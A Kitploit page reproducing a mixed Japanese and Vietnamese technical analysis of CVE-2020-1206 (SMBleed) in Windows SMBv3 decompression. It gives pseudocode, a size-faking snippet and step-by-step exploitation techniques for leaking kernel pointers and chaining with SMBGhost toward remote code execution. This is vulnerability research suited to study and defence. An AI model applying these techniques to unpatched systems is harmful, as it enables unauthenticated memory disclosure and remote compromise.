Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-1206 — CVE-2020-1206 (SMBleed) の Windows SMBv3 におけるカーネル情報漏洩脆弱性に関する技術的分析。未認証のメモリリークオラクルや、SMBGhost と組み合わせた RCE のための悪用技術を含む。 | Kitploit
ツール/GitHubGitHub/datntsec/cve-2020-1206
メモリフォレンジック脆弱性分析エクスプロイト情報収集ペネトレーションテストバイナリエクスプロイト
GitHubdatntsec/cve-2020-1206

CVE-2020-1206

CVE-2020-1206 (SMBleed) の Windows SMBv3 におけるカーネル情報漏洩脆弱性に関する技術的分析。未認証のメモリリークオラクルや、SMBGhost と組み合わせた RCE のための悪用技術を含む。

リポジトリを見る
5年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SMBGhost脆弱性(CVE-2020-0796)では、整数オーバーフローバグを利用してAlloc.Userbufferポインタを任意のアドレスに変更し、そこに任意のデータを書き込むwrite-what-whereプリミティブの手法について述べました。SMB Ghostと同様に、この脆弱性もsrv2.sysのSrv2DecompressData関数に存在します。SMBGhost脆弱性(CVE-2020-0796)に関連するSrv2DecompressData関数を、Zecopsによって簡略化されたものと共に確認してみましょう。``` c typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;


NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}


if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}


Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
Srv2DecompressData関数は、クライアントから送信された圧縮メッセージを受け取り、必要なメモリ領域を割り当て、その中にメッセージを展開します。その後、Offsetフィールドが0以外の場合、圧縮データの前にあるデータ(RawData)を割り当てられたメモリ領域の先頭にコピーします。

![](https://assets.kitploit.com/production/public/readmes/24502/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

SMBGhostの脆弱性は、関数が整数オーバーフローをチェックしないことに起因し、誤ったサイズの割り当てを引き起こしてバッファオーバーフローを発生させます。MicrosoftがSMBGhostにパッチを適用してから3ヶ月後、CVE-2020-1206([Zecops Blog](https://blog.zecops.com/)による呼称でSMBleed)という脆弱性が発見されました。この脆弱性により、他方のマシンのアドレスを漏洩させることが可能になり、SMBGhostと組み合わせることでRCEを達成できます。Srv2DecompressData関数をより単純に理解するために、この関数をSMBGhostのパッチ適用前の状態で再利用し、パッチが適用されていると仮定します。

# OriginalCompressedSegmentSizeの偽装
SMBGhostと同様に、今回も送信する展開データよりわずかに大きな値でOriginalCompressedSegmentSizeを偽装します。例えば、サイズがxバイトのデータを圧縮する場合、OriginalCompressedSegmentSizeフィールドにxを設定する代わりに、x + 0x1000を設定します。次の図で明確になります:

![](https://assets.kitploit.com/production/public/readmes/24502/687d3bdc67e4b2f5bb3cecbe41ea52be98a5c904a8688b325a69acb0a854ca75.png)

初期化されていないカーネルデータは、メッセージの一部として扱われます。

[CVE-2020-0796の分析](https://github.com/datntsec/CVE-2020-0796)で述べたように、Srv2DecompressDataは、展開が成功した場合、SmbCompressionDecompress関数後のチェック段階をスキップします。``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

OriginalCompressedSegmentSizeフィールドはxではなくx + 0x1000に設定されていますが、解凍が成功した後、FinalCompressedSize変数には値xは含まれず、代わりにx + 0x1000が含まれます:```c NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ...

root@kitploit:~
NTSTATUS Status = RtlDecompressBufferEx2(
    ...,
    FinalUncompressedSize,
    ...);
if (status >= 0) {
    *FinalCompressedSize = CompressedBufferSize;
}

// ...

return Status;

}

root@kitploit:~
Bởi vì sau khi giải nén thành công, FinalCompressedSize được cập nhật để giữ giá trị CompressedBufferSize (tương ứng với OriginalCompressedSegmentSize được truyền vào hàm SmbCompressionDecompress). Việc cập nhật và kiểm tra sau đó là gần như không cần thiết, có thể dẫn đến một số lỗi không mong muốn.

解凍が成功した後、FinalCompressedSizeはCompressedBufferSize(SmbCompressionDecompress関数に渡されるOriginalCompressedSegmentSizeに対応)を保持するように更新されるためです。その後の更新とチェックはほとんど不要であり、予期しないエラーを引き起こす可能性があります。

# Khai thác ở mức cơ bản
# 基本的な悪用

Cấu trúc message mà Zecops sử dụng để chứng minh lỗ hỏng là [SMB2 WRITE message](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8). Cấu trúc này chứa các trường như số byte có thể write, flag,..., theo sau là một buffer có độ dài tùy ý. Điều này khá hoàn hảo để khai thác lỗi, vì ta có thể tạo một message và chỉ định header, với một buffer chứa data chưa được khởi tạo.

Zecopsが脆弱性を実証するために使用するメッセージ構造は、[SMB2 WRITEメッセージ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8)です。この構造には、書き込み可能なバイト数、フラグなどのフィールドが含まれ、その後に可変長のバッファが続きます。これは脆弱性の悪用にほぼ完璧であり、ヘッダを指定し、未初期化データを含むバッファを持つメッセージを作成できるからです。

Dựa trên POC của [Zecops](https://blog.zecops.com/) trên kho lưu trữ WindowsProtocolTestSuites của Microsoft, để để có cái nhìn rõ hơn về về điều này, ta sẽ thêm phần bổ sung nhỏ này cho hàm compression:

MicrosoftのWindowsProtocolTestSuitesリポジトリにおける[Zecops](https://blog.zecops.com/)のPOCに基づき、これをより明確に理解するために、圧縮関数に次の小さな追加を行います。``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
    ((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
    compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}

Lưu ý rằng POC này yêu cầu thông tin xác thực và chia sẻ quyền write, thường có sẵn trong nhiều trường hợp. Tuy nhiên, lỗi trả về sẽ áp dụng cho mọi message (bao gồm cả message có hoặc không có thông tin xác thực), nên có khả năng ta sẽ có thể khai thác mà không cần phải xác thực. Một điều nữa, là bộ nhớ mà chúng ta sẽ leak là từ các lần phân bổ trước trong NonPagedPoolNx và vì chúng ta có thể kiểm soát kích thước phân bổ, chúng ta sẽ kiểm soát được dữ liệu mà chúng ta sẽ leak ở một mức độ nào đó.

SMBleed POC Source Code

Vậy nếu không có thông tin xác thực thì có thể leak được địa chỉ kernel không? Để trả lời cho câu hỏi này, ta hãy phân tích SMB sâu hơn nữa.

Đi sâu vào SMB

Khi xác thực thông tin, client sẽ gửi các message sau:

SMB2 NEGOTIATE → SMB2 SESSION_SETUP → SMB2 SESSION_SETUP

Nếu thông tin xác thực sai, phiên kết nối sẽ bị hủy sau gói tin SMB2 SESSION_SETUP thứ 2:

Giả sử rằng ta không có thông tin xác thực, chúng ta sẽ kiểm tra xem liệu có một lệnh nào có thể gửi mà không cần phải xác thực hay không. Qua việc tìm kiếm, ta nhận thấy:

  • Lệnh đầu tiền phải gửi là SMB2 NEGOTIATE và nó cũng là lệnh SMB2 NEGOTIATE duy nhất trong suốt một phiên.
  • Các lệnh tiếp theo, cho đến khi xác thực thành công phải là SMB2 SESSION_SETUP.

Trong đó SMB2 NEGOTIATE message sẽ không được nén. Bug nằm ở hàm giải nén, vì vậy ta sẽ không xem xét nó mà chỉ xét các SMB2 SESSION_SETUP message.

SMB2 SESSION_SETUP

Như đã nói ở trên, một phiên thông thường sẽ có 2 lệnh SMB2 SESSION_SETUP được gửi. Các gói tin trả về sẽ không chứa dữ liệu nào cần thiết để ta có thể khai thác, và ta cũng không có cách nào làm ảnh hưởng đến gói tin trả về. Tuy nhiên gói trả về thứ hai sẽ có body trống với status 0xC000006D (STATUS_LOGON_FAILURE) trong packet header. Nhận thấy, gói SMB2 SESSION_SETUP đầu tiên sẽ chứa request NTLM Negotiate message và gói thứ 2 sẽ chứa NTLM Authenticate message. NTLM Negotiate message khá đơn giản, và có thể không có gì thú vị, nên ta sẽ đi sâu vào NTLM Authenticate message.

NTLM Authenticate message

Sau khi nghiên cứu NTLM Authenticate message, ta nhận thấy, phần phức tạp nhất của message này, thích hợp để khai thác nhất là cấu trúc NTLM2 V2 Response. Cấu trúc này là một mảng byte có kích thước không cố định, chủ yếu chứa cấu trúc NTLMv2_CLIENT_CHALLENGE. Ta thấy rằng, nếu cấu trúc này không pass được các kiểm tra ban đầu, giá trị 0xC000000D (STATUS_INVALID_PARAMETER) sẽ được trả về thay vì 0xC000006D (STATUS_LOGON_FAILURE). Một trong số kiểm tra ban đầu là kiểm tra trường AvPairs.

Trường AvPairs là một mảng byte có kích thước không cố định chứa các cấu trúc AV_PAIR. Mỗi AV_PAIR định nghĩa một attribute/value pair, attribute được định nghĩa bởi trường AvId, trường AvLen định nghĩa độ dài theo byte của value, trường Value là một mảng byte có kích thước không cố định chứa value của chính nó. Một item với attribute MsvAvEOL và một zero length đánh dấu kết thúc mảng

Authenticate message được xử lý bởi hàm SsprHandleAuthenticateMessage trong module msv1_0.dll. Trong các lần kiểm tra ban đầu, hàm này bảo đảm rằng, mảng AvPairs sẽ chứa các attribute sau: 0x0001 (MsvAvNbComputerName), 0x0002 (MsvAvNbDomainName). Tuy nhiên value của nó không được kiểm tra, nó chỉ kiểm tra bằng cách duyệt qua mảng và kiểm tra xem attribute được yêu cầu có tồn tại hay không và độ dài của nó có nằm trong cấu trúc hay không. Nếu độ dài quá lớn, việc truyền tải sẽ bị dừng lại. Vì vậy, trên thực tế, MsvAvEOL không được kiểm tra có hợp lệ hay không.

Tại thời điểm này, ta đã tìm ra rằng ta có thể tạo ra một yêu cầu có thể giúp ta trả lời cho câu hỏi sau: Cho hai byte tại offset x, thuộc kiểu uint16, giá trị có lớn hơn y không? x và y được kiểm soát bởi ta. Hãy xem xét gói tin sau:

Nội dung của value 0x0001 (MsvAvNbComputerName) không quan trọng, vì vậy ta có thể sử dụng nó để điều chỉnh offset của value thứ hai. Đối với value thứ hai, ta chỉ set attribute là 0x0002 (MsvAvNbDomainName), mà không khởi tạo len và value. Đồng thời set kích thước của toàn bộ gói sao cho có y byte theo trường length. Có hai kết quả có thể xảy ra tùy thuộc vào giá trị chưa được khởi tạo của trường length của value thứ hai:

  • length <= y: Trong trường hợp này, kiểm tra được pass vì giá trị 0x0002 hợp lệ (MsvAvNbDomainName) được tìm thấy. Máy chủ trả về 0xC000006D (STATUS_LOGON_FAILURE) vì thông tin xác thực không chính xác.
  • length > y: Trong trường hợp này, việc kiểm tra không thành công, vì giá trị thứ hai có độ dài không hợp lệ và bị loại bỏ. Máy chủ trả về 0xC000000D (STATUS_INVALID_PARAMETER) cho trường hợp này.

Theo phản hồi từ server, ta luôn có thể suy ra câu trả lời cho câu hỏi ở trên.

Tuy nhiên, NTLM Authenticate message được giới hạn ở 0xB48 byte và sẽ bị loại bỏ nếu nó lớn hơn thế. Việc kiểm tra được thực hiện bởi hàm SspContextGetMessage trong msv1_0.dll module. Vậy giả sử ta chỉ ghi vào 1 byte len, byte còn lại sẽ chứa giá trị chưa được khởi tạo, thì có bypass được việc này không. Rất tiếc là không, vì giá trị uint16 được mã hóa dưới dạng little endian. Như vậy, ta Không thể đạt được điều mình muốn trong một phiên SMB duy nhất, ta sẽ đi xem xét thêm các yếu tố khác.

Observation #1: Lookaside lists

Như đã đề cập trong nghiên cứu trước (CVE-2020-0796), các modules xử lý SMB trong kernel (srv2.sys và srvnet.sys) sử dụng chức năng phân bổ tùy chỉnh - SrvNetAllocateBuffer - được export bởi srvnet.sys. Hàm này sử dụng lookaside lists cho các phân bổ nhỏ để tối ưu hóa. Lookaside lists được sử dụng để lưu trữ một cách hiệu quả một tập hợp các bộ đệm có kích thước cố định, có thể tái sử dụng cho trình điều khiển.

Lookaside lists được tạo khi khởi tạo, danh sách cho từng kích thước và bộ xử lý logic được mô tả trong bảng sau:

Mỗi ô có ký hiệu "📝" là một lookaside list riêng biệt. Để đơn giản hóa phân tích, ta sẽ giả sử rằng mục tiêu của chúng ta chỉ có một Logical Processor. Trong trường hợp này, miễn là cùng một lượng byte được cấp phát, cùng một lookaside list được sử dụng thì cũng sẽ cùng một buffer được sử dụng lại nhiều lần. Ta có thể sử dụng điều này để có một số quyền kiểm soát đối với dữ liệu chưa được khởi tạo.

Observation #2: Failing the decompression

Hãy xem lại điều gì sẽ xảy ra khi một compressed packet được decompress (tham khảo writeup CVE-2020-0796 để biết thêm chi tiết và mã giả):

Trong trường hợp CompressedData không hợp lệ, giai đoạn decompression sẽ không thành công, giai đoạn copy không được thực thi và kết nối bị ngắt. Nhưng decompression có thể không thành công chỉ sau khi giải nén một phần của CompressedData hợp lệ. Điều này cho phép ta tạo ra một yêu cầu sao cho dữ liệu mà ta lựa chọn sẽ được ghi ở offset mà ta lựa chọn, như hình sau:

Back to the NTLM Authenticate message

Ta có thể sử dụng các Observation trên để làm cho kỹ thuật của ta hoạt động bằng cách sử dụng hai bước:

  1. Gửi một message với một compressed data không hợp lệ để chỉ một byte 0 duy nhất được giải nén. Byte đó sẽ là byte thứ nhất của trường length của Value thứ hai trong mảng AvPairs.
  2. Gửi một message giống như trước đây, nhưng đảm bảo rằng cùng một lookaside list được sử dụng cho việc phân bổ, sao cho byte 0 sẽ ở đó.

Lần này, kỹ thuật này có thể trả lời câu hỏi sau: Cho một byte ở offset x, giá trị có lớn hơn y không? Như trước đây, x và y được kiểm soát bởi ta.

Vì ta có thể sử dụng lại bộ đệm nhiều lần bằng cách đảm bảo sử dụng cùng một lookaside list, chúng ta có thể lặp lại các bước nhiều lần trong khi thay đổi y và cuối cùng suy ra giá trị byte tại một khoảng chênh lệch nhất định.

Tuy nhiên, kỹ thuật này có một hạn chế - offset của byte mà chúng ta có thể đọc được giới hạn ở byte 0xADB từ đầu của packet buffer. Đó là do offset của NTLM Authenticate message (AUTHENTICATE_MESSAGE) được giới hạn ở 0x40 byte sau khi kết thúc SMB2 SESSION_SETUP headers (được thực thi bởi hàm Smb2ValidateSessionSetup trong srv2.sys) và kích thước của NTLM Authenticate message (AUTHENTICATE_MESSAGE) bị giới hạn thành 0xB48 byte. Ta sẽ tìm cách giải quyết việc này.

Giả sử rằng ta muốn đọc một byte ở offset 0x1100. Ta không thể làm điều đó trực tiếp bằng kỹ thuật trên, tuy nhiên ta vẫn có thể sử dụng thêm kĩ thuật sau: vì các buffer được tái sử dụng từ lookaside lists, ta có thể "nâng" byte đích thông qua hàm decompression bằng cách đặt trường Offset để vượt qua byte đó. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, nếu không việc Copy sẽ không xảy ra.

Buffer của gói tin chứa dữ liệu được gửi đến bởi client sẽ chứa thêm 16 byte headers không được copy khi quá trình giải nén diễn ra. Kết quả là, dữ liệu được copy và giải nén, bao gồm cả target byte, được sao chép đến một vị trí gần 16 byte hơn phần đầu của buffer được cấp phát. Chúng ta có thể lặp lại điều đó vài lần, cho đến khi offset của target byte đủ thấp.

Address leak POC

Bạn có thể tìm thấy một script chứng minh kỹ thuật trên tại đây. Hãy nhớ rằng ta đã giả định rằng máy tính server chỉ có một bộ xử lý logic, vì vậy bạn sẽ phải định cấu hình máy ảo của mình đúng cách để đoạn script hoạt động. Nếu mọi việc suôn sẻ, đoạn script sẽ đọc và leak được địa chỉ của NonPagedPoolNx pool. Trên thực tế, đó sẽ là địa chỉ của một trong những buffer nằm cùng một lookaside lists.

Vì kĩ thuật này có khá nhiều hạn chế, nên tôi sẽ không phân tích sâu hơn nữa. Tuy nhiên bạn vẫn có thể đọc script trên và tự phân tích.

A different approach – decompression

Trong quá trình nghiên cứu, Zecops nhận ra rằng gói SMB được giải nén không phải là cấu trúc phức tạp duy nhất có thể không hợp lệ theo nhiều cách khác nhau. Ngay cả trước khi xử lý tất cả các cấu trúc liên quan đến SMB, compressed buffer cũng có thể không hợp lệ. Nếu giải nén không thành công, kết nối đến server sẽ bị ngắt.

Microsoft cung cấp ba thuật toán nén để ta lựa chọn khi triển khai SMB: LZNT1, Plain LZ77 và LZ77 + Huffman. Ta sẽ chỉ xem xét LZNT1 vì nó khá đơn giản - khoảng 80 dòng Python cho một hàm giải nén. Tôi sẽ nói sơ về quá trình giải nén: dữ liệu nén bao gồm một chuỗi các block được nén, mỗi block được bắt đầu bằng một biến uint16 đánh dấu độ dài của block đó. Khi gặp độ dài bằng 0, quá trình giải nén sẽ hoàn tất. Ta sẽ sử dụng điều này để ghi vào một chuỗi byte 0 tượng trưng cho dữ liệu nén hợp lệ. Mục đích để trả lời cho câu hỏi ở trên: Cho một byte ở offset x, giá trị có lớn hơn y không? Tất nhiên, x và ý vẫn sẽ do ta kiểm soát.

Dưới đây là một ví dụ về dữ liệu nén mà ta sẽ gửi:

Có hai kết quả có thể xảy ra tùy thuộc vào giá trị chưa khởi tạo của byte thứ nhất của trường length:

  • length <= y: Trong trường hợp này, block đầu tiên sẽ toàn byte 0, điều này hoàn toàn hợp lệ và length của block tiếp theo sẽ bằng 0, việc giải nén sẽ hoàn tất. Server sẽ trả lại một response.
  • length > y: Trong trường hợp này, block nén đầu tiên hoặc thứ hai sẽ chứa các byte 0xFF, block này sẽ không giải nén được. Server sẽ ngắt kết nối do dữ liệu nén không hợp lệ.

Cũng giống như kỹ thuật trước, chúng ta có thể sử dụng các Observation số 1 và số 2 để tạo ra một message với một byte chưa được khởi tạo ở giữa message bằng cách sử dụng hai bước:

  1. Gửi một message với dữ liệu nén không hợp lệ để chỉ một phần dữ liệu được giải nén, tương tự như hình trên
  2. Gửi message thứ hai và đảm bảo rằng cùng một lookaside list được sử dụng trong message thứ 1, để các byte từ bước 1 sẽ ở đó.

Lưu ý rằng giá trị Offset trong header gói SMB sẽ trỏ đến dữ liệu nén, dữ liệu này có thể hợp lệ hay không tùy thuộc vào giá trị của byte chưa được khởi tạo.

Ưu điểm đáng chú ý nhất của kỹ thuật này so với kỹ thuật trước là không có giới hạn offset nữa.

Như vậy, tổng kết lại, ta có 2 kỹ thuật để đọc một vùng nhớ chưa được khởi tạo từ pool buffer được cấp phát bởi hàm SrvNetAllocateBuffer của module srvnet.sys. Kỹ thuật đầu tiên tạo ra một gói SMB đặc biệt, sau đó suy luận thông tin thông qua response của server. Kỹ thuật thứ hai với ít hạn chế hơn, ta sẽ tạo ra một dữ liệu được nén đặc biệt và gửi nó đi, sau đó suy luận thông tin dựa trên việc server có ngắt kết nói hay không.

Như vậy, ta có thể sử dụng một trong 2 kĩ thuật trên để khai thác. Và như tôi đã nói, kĩ thuật đầu tiên có nhiều hạn chế, nên ta sẽ chỉ đi sâu vào kĩ thuật thứ 2.

Kĩ thuật này sẽ giúp ta khai thác theo hướng write-what-where primitive mà Zecops đã chứng minh trước đây trong nghiên cứu trước về khả năng đạt được local privilege escalation. Ta sẽ dùng kĩ thuật này để leak địa chỉ trong memory layout để có thể sử dụng write-what-where primitive. Không may mắn là memory được cấp phát bởi hàm SrvNetAllocateBuffer chủ yếu được sử dụng cho dữ liệu mạng như gói SMB và không chứa bất kỳ con trỏ system nào. Và vì ta cần đạt được RCE, nên việc leak các vùng nhớ chưa được khởi tạo bởi các lần cấp phát trước của hàm SrvNetAllocateBuffer là vô ích do không chắc chắn được vị trí con trỏ cần tìm. Ta cần tìm một thứ gì đó có thể hữu ích hơn.

SrvNetAllocateBuffer and the allocated buffer layout

Như tôi có nói trong nghiên cứu về local privilege escalation (CVE-2020-0796), hàm SrvNetAllocateBuffer không chỉ trả về một buffer với kích thước được yêu cầu. Thay vào đó nó sẽ trả về một con trỏ trỏ đến vùng nằm ngay bên dưới user buffer của cấu trúc pool-allocated memory block, chứa thông tin về buffer được cấp phát. Cách bố trí của pool-allocated memory block như sau:

Mặc dù kỹ thuật đọc của ta chỉ có thể đọc các byte từ vùng "User Buffer", ta vẫn có thể dùng một kĩ thuật khác để copy các phần của cấu trúc SRVNET_BUFFER_HDR vào "User Buffer" của một buffer khác để có thể đọc nó. Bằng cách đặt trường Offset trỏ đến cấu trúc SRVNET_BUFFER_HDR nằm ngoài dữ lệu mà ta muốn đọc. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, ngược lại, việc copy sẽ không được diễn ra.

Hunting for pointers

Hãy xem xét các trường của cấu trúc SRVNET_BUFFER_HDR và ​​xem liệu có nội dung nào đáng để ta đọc không:``` c #pragma pack(push, 1) struct SRVNET_BUFFER_HDR { /00/ LIST_ENTRY ConnectionBufferList; /10/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list /12/ WORD LookasideListIndex; // 0 to 8 /14/ WORD LookasideListLogicalProcessor; /16/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2 /18/ PBYTE UserBufferPtr; /20/ DWORD UserBufferSizeAllocated; /24/ DWORD UserBufferSizeUsed; /28/ DWORD PoolAllocationSize; /2C/ BYTE unknown1[4]; /30/ PBYTE PoolAllocationPtr; /38/ PMDL pMdl1; /40/ DWORD BytesProcessed; /44/ BYTE unknown2[4]; /48/ SIZE_T BytesReceived; /50/ PMDL pMdl2; /58/ PVOID pSrvNetWskStruct; /60/ DWORD SmbFlags; /64/ PVOID TracingPtr1; /6C/ SIZE_T TracingUnknown1; /74/ PVOID TracingPtr2; /7C/ SIZE_T TracingUnknown2; /84/ BYTE unknown3[12]; }; #pragma pack(pop)

root@kitploit:~
`UserBufferPtr`、`PoolAllocationPtr`、`pMdl1`、`pMdl2` は、プール割り当てメモリブロック内を指すポインタであり、オフセットは事前に計算可能なため、これらのうち一つを読み取れば十分である。プール割り当てメモリブロックを指すポインタを持つことは、エクスプロイトにおいて確実に役立つ。また、以下のポインタも非常に重要である。

- **ConnectionBufferList**: 接続における受信済みだが未処理の全バッファのリンクリスト。このリストの先頭は、srvnet.sys の SrvNetAllocateConnection 関数によって作成された connection オブジェクトである。バッファは SrvNetWskReceiveComplete 関数によってリストに追加される。我々のケースでは、リスト内にバッファは1つだけであるため、`LIST_ENTRY` 構造体の `Flink` と `Blink` の両方のポインタが、connection オブジェクト内のリスト先頭を指すことになる。
- **pSrvNetWskStruct**: 当初、このポインタは前述の connection オブジェクトを指している。このポインタは SrvNetWskReceiveEvent 関数によって設定されるが、SrvNetWskReceiveComplete 関数によって `SRVNET_BUFFER_HDR` 構造体を指すポインタで上書きされる。そのため、これを読み取ることは、前述の4つのポインタのいずれかを読み取るよりも有用ではない。ちなみに、「pSrvNetWskStruct」を検索すると、これが EternalBlue のエクスプロイトにおいて役割を果たしていることがわかる。
- **TracingPtr1/2**: これらのポインタはトレース機能が有効な場合にのみ使用される。

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

ご覧のとおり、読み取り可能な他の有用なポインタは、`ConnectionBufferList` 構造体内の1つのポインタだけである。両方のポインタ(`LIST_ENTRY` 構造体の `Blink` と `Flink`)は connection オブジェクトを指している。このオブジェクトは EternalBlue の研究者によって `SRVNET_RECV` と名付けられたため、我々もこの名称を使用する。

## Getting a module base address

さて、2つのポインタ(プール割り当てメモリブロックを指すものと `SRVNET_RECV` 構造体を指すもの)を取得する方法がわかったので、write-what-where プリミティブを使用して2つのバッファを自由に変更できる。RCE を達成する方法は複数あるかもしれないが、モジュールのベースアドレスを取得するのが最も簡単な選択肢である。なぜなら、モジュールのデータセクション内には変更可能なものが多数存在するからだ。先に見たように、`SrvNetAllocateBuffer` によって割り当てられたメモリブロック内には、モジュールを指すポインタは存在しない。しかし、モジュールを指すポインタはいくつか存在する。

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

我々が持っている読み取り技術では、「User Buffer」領域のデータのみ読み取り可能である。一方、これらのポインタはかなり離れた場所にあり、他の多くのポインタによって指されている。以下の処理を実行してポインタの値を「User Buffer」領域にコピーするコードが必要である。``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

もしそのようなコード断片を見つけることができれば、最初のポインタ(例:HandlerFunctions)を"User Buffer"にコピーして読み取り、次に2番目のポインタ(例:Srv2ConnectHandler関数ポインタ)を"User Buffer"にコピーして読み取り、そこからモジュールベースアドレスを推測します。Zecopsチームは長い間そのようなコード断片を探しましたが、適切なものを見つけることができませんでした。最終的に、彼らはSrvNetFreeBuffer関数(以下に簡略化して示す)に関連する別の選択肢を使用しました。これはほぼ望み通りの機能を持っていました:``` c void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer) { PMDL pMdl1 = Buffer->pMdl1; PMDL pMdl2 = Buffer->pMdl2;

root@kitploit:~
if (pMdl2->MdlFlags & 0x0020) {
    // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
    MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}

if (Buffer->BufferFlags & 0x02) {
    if (Buffer->BufferFlags & 0x01) {
        pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
        pMdl1->ByteCount -= 0x50;
        pMdl1->ByteOffset += 0x50;
        pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

        pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
        pMdl2->ByteCount = pMdl1->ByteCount;
        pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
        pMdl2->Size = /* some calculation */;
        pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
    }

    Buffer->BufferFlags = 0;

    // ...

    pMdl1->Next = NULL;
    pMdl2->Next = NULL;

    // Return the buffer to the lookaside list.
} else {
    SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
    ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}

}

root@kitploit:~
バッファ解放時、バッファフラグが0x02(バッファがルックアサイドリストの一部であることを意味する)と0x01(バッファがトランスポートヘッダを持たないことを意味する)に設定されている場合、2つのMDLオブジェクトに対して、トランスポートヘッダを追加するためのいくつかの操作が実行され、その後フラグが0にリセットされてバッファがルックアサイドリストに戻されます。MDLオブジェクトに対する操作の背後を詳しく調べると、コードが、制御可能な2つの変数(2つのMDLポインタ)に対して、ダブルデリファレンス読み取りの後にダブルデリファレンス書き込みを実行していることがわかります。これはまさに私たちが探しているものです。欠点は、読み取りたい内容も変更されてしまうことであり、これは回避したい副作用です。

以上を踏まえ、AcceptSocketポインタを読み取るための方法は次のとおりです。
1. ルックアサイドリストからバッファAを準備し、「ユーザーバッファ」領域が0で埋められるようにします。このバッファのユーザーバッファ領域には、読み取るポインタが格納されます。
2. 別のルックアサイドリストからバッファBを準備して、次のようにします。
   - pMdl1ポインタが、AcceptSocketポインタのアドレスから0x18を引いたアドレスを指すようにします(MDL構造体におけるMappedSystemVaのオフセットが0x18であるため)。
   - pMdl2ポインタが、バッファAの「ユーザーバッファ」領域を指すようにします。
   - Flagsフィールドが0x03に設定されるようにします。

上記の[Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression)で説明されている手法を使用して、より大きなバッファからそれらを展開することで、SRVNET_BUFFER_HDR構造体のフィールドを上書きできます。

3. バッファBが解放されると、次の操作が行われます。
   - バッファAにある2番目のMDLからMDLフラグが読み取られます。MDL_PARTIAL_HAS_BEEN_MAPPEDフラグが設定されている場合、MmUnmapLockedPagesが呼び出され、システムがクラッシュする可能性があります。そのため、ステップ1でバッファを0で埋める必要があります。
   - AcceptSocketポインタとその周辺のメモリが、次のように変更されます。```
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
